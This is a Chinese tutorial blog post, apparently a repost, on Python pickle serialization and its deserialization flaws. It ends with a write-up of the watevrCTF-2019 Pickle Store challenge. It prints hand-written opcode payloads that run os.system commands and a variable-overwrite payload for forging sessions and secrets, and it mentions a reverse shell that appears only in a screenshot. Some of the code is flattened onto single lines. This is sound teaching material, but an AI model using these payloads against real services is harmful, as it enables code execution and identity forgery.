Python pickle

news/2024/10/21 21:46:46

Python pickle

  • pickle在python中 实现对象结构的 序列化和反序列化
  • python序列化(Pickling)是一个将python对象层次结构转换为 可以本地储存 或者 网络传输的 字节流的过程
  • python反序列化(unpickling) 是将字节流还原为对象层次结构

数据序列化:就是把不能直接储存的数据 储存到磁盘中,从而延长生命周期

python 常用的系列化库:picklejson

pickle模块可以将任意对象序列化成为二进制的字符串,并写入文件中,还可以从文件中读取并且转为写入时的类型

Pickle工作原理

由一串串独立的opcode(指令集)组成,我们可以通过手写opcode来构建

opcode

OpCode全称Operation Code(操作码)如十六进制数0x90

常用的opcode

参考链接

基础方法

方法 作用
dump 序列化写入文件
load 读取文件反序列化
dumps 序列化返回对象
loads 反序列化对象

序列化函数

pickle.hump(obj,file,[protocol])函数

接受三个参数,第一个参数包含要储存在文件中的对象,第二个参数事 以二进制形式写入时 所需文件时 获得的文件对象,第三个参数表示序列化协议

举个栗子:

opcode=b'''cos
system
(S'whoami'
tR.'''cos
system(S'ls'tR.

字节码为c,形式为c[moudle]\n[instance]\n,导入os.system。并将函数压入stack

字节码为(,向stack中压入一个MARK。字节码为S,示例化一个字符串对象'whoami'并将其压入stack

字节码为t,寻找栈中MARK,并组合之间的数据为元组。然后通过字节码R执行os.system('whoami')

字节码为.,程序结束,将栈顶元素os.system('ls')作为返回值

importopcode=b'''cos
system
(S'whoami'
tR.'''pockle.loads(opcode)

反序列化函数

pickle.load(file)函数

一个实例

image-20241016210700522

image-20241016211005174

举个栗子,简单看一下数据序列化的样子

image-20241018152949984

参考文章

__getstate__函数

在序列化时调用,指定序列化 某些参数在反序列化时恢复参数

__setstate__函数

反序列化是配合 __getstate__函数调用

import pickleclass MyData:def __init__(self, x):self.x = xself.y = self.sqrt(x)def sqrt(self,x):return x**xdef __getstate__(self):self.state = "ok"print("enter getstate")#  self.__dict__存储关于self.xxx的一些东西odict = self.__dict__.copy()del odict['y']print(odict)return odictdef __setstate__(self, input):print("enter setstate")print(input)self.x = input['x']self.y = self.sqrt(self.x)obj = MyData(3)
# 序列化
print("序列化")
dumped = pickle.dumps(obj)
# 反序列化
print("反序列化")
loaded = pickle.loads(dumped)
print("反序列化结果", loaded.y)

__reduce__方法

用于对象的序列化,如果 __reduce__方法存在的话,pickle模块会调用对象的 __reduce__方法

__reduce__方法返回一个元组,包含两个元素:一个callable和一个包含传递callable参数的元组,callable通常是一个函数或者类的构造函数

import pickleclass MyClass:def __init__(self, value):self.value = valuedef __reduce__(self):# 返回一个元组,包含两个元素:# 1. 一个callable,用于从pickle状态重建对象# 2. 一个元组,包含传递给callable的参数return (self.__class__, (self.value,))# 创建一个对象
obj = MyClass(42)# 序列化对象
serialized_obj = pickle.dumps(obj)# 反序列化对象
deserialized_obj = pickle.loads(serialized_obj)# 输出反序列化后的对象
print(deserialized_obj.value)  # 输出: 42

image-20241018145023002

参考教程

Pickle反序列化漏洞

当我们反序列化一串未知的二进制字节流时,可能会引发恶意的代码执行,因为无法确定该二进制字符串是否是恶意代码

命令执行

手写opcode构造payload,达到一次实现多个命令的结果

import pickleopcode=b'''cos
system
(S'whoami'
tRcos
system
(S'whoami'
tR.'''
pickle.loads(opcode)#结果如下
xiaoh\34946
xiaoh\34946

实例化对象

import pickleclass Person:def __init__(self,age,name):self.age=ageself.name=nameopcode=b'''c__main__
Person
(I18
S'Pickle'
tR.'''p=pickle.loads(opcode)
print(p)
print(p.age,p.name)###
<__main__.Person object at 0x00000223B2E14CD0>
18 Pickle

变量覆盖

sessiontoken中,常常储存了一些用户信息,因此我们可以通过变量覆盖实现身份伪造,伪造tokensession

#secret.py
secret="This is a key"
import pickle
import secretprint("secret变量的值为:"+secret.secret)opcode=b'''c__main__
secret
(S'secret'
S'Hack!!!'
db.'''
fake=pickle.loads(opcode)print("secret变量的值为:"+fake.secret)###
secret变量的值为:This is a key
secret变量的值为:Hack!!!

[watevrCTF-2019]Pickle Store

image-20241017213652746

伪造session

#coding:utf8
import pickle
import base64result = pickle.loads(base64.b64decode(b'gAN9cQAoWAUAAABtb25leXEBTfQBWAcAAABoaXN0b3J5cQJdcQNYEAAAAGFudGlfdGFtcGVyX2htYWNxBFggAAAAMmE0MDIxOTA4NmI0YTk1MDNkYWNkNjc1OTRlODg1NjhxBXUu'))
print(result)	#使用b'...'是为了确保处理的是二进制数据

image-20241018152328358

当尝试买了个十块钱的东西后,cookie发生了变化

image-20241018152246453

hmac验证,利用反弹shell

image-20241018172147904

cat flag.txt得到flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/74364.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

ELK04 ELK综合案例, logstash写入mysql, kibana访问验证 ubuntu使用

6 ELK 综合实战案例6.1 Filebeat 收集Nginx日志利用 Redis 缓存发送至 Elasticsearch 图上ip地址仅供参考 6.1.2.2 修改 Filebeat 配置#安装redis(访问0.0.0.0和密码123456),nginx(访问日志json格式)[root@ubuntu ~]#vim /etc/filebeat/filebeat.yml filebeat.inputs: - type…

Cyclic GCDs - 神圣的数学题

Cyclic GCDs 题面 【题目描述】 给定一个长为 \(N\) 的序列 \(a_1,a_2,\dots,a_N\)。 设一个置换 \(p\) 的价值 \(f(p)\) 为每个轮换中最小的 \(a_i\) 的乘积。 设 \(b_i\) 为有 \(i\) 个轮换的所有置换 \(p\) 的 \(f(p)\) 之和。 求 \(\gcd(b_1,b_2,\dots,b_N) \bmod{99824435…

『模拟赛』多校A层冲刺NOIP2024模拟赛10

『模拟赛记录』多校A层冲刺NOIP2024模拟赛10Rank 原来不止我一个人在赤石 Upd:T2 数据多次更改,Rank 变化 4→2→4A. 岛屿 唐氏题。 赛时找规律+分讨+递推出了正解,时间不够没测直接交了,然后 long double 用了 %lf 直接寄掉。赛时思路很复杂啊,讨论了一大堆,发现其实合并…

单射,满射和双射区分

单射: 定义:函数F称为一对一的,当且仅当对于F定义域中的所有x和y,f(x)=f(y)蕴含着x=y。一对一函数也称单射函数或入射函数1.x一定都要连接,不连接则不是函数 2.y只能有一个连接,可以为空但是不能有多个 错误情况:满射 定义:给定函数F:x→y,当且仅当对∀y∈Y,都有x∈X…

20240917【省选】模拟

难说 T1 暴力可以写dp 只要你学过线性基那么你就会想怎么用线性基做,显然是要套点数据结构维护的。你要知道两个线性基可以在 \(O(\log^2 n)\) 的时间内合并,得到的线性基是原来两个的交。可以用线段树维护,复杂度 \(O((n+q)\log n\log^2 a)\),难说能不能过。 没有修改,所…

高级语言程序设计课程第四次个人作业

班级:https://edu.cnblogs.com/campus/fzu/2024C 作业:https://edu.cnblogs.com/campus/fzu/2024C/homework/13293 学号:102400118 姓名:林嘉祚 6.16.16.16.56.16.76.16.86.16.96.16.106.16.126.16.136.16.156.16.166.16.187.12.17.12.27.12.47.12.57.12.67.12.77.12.87.12.97…

2024Ciscn总决赛Web Writeup

前言 鸽了三个月的复现计划:) ezjs 考点是express引擎解析的一个trick,在高版本的express已经修复,先贴源码 const express = require(express); const ejs=require(ejs) const session = require(express-session); const bodyParse = require(body-parser); const multer =…

C# 新建的类库无法添加 System.Drawing 引用问题

C#类库添加System.Drawing引用时,选择程序集 -> 框架 -> 再搜索对应的库,添加引用就可以了。不要在COM中搜索。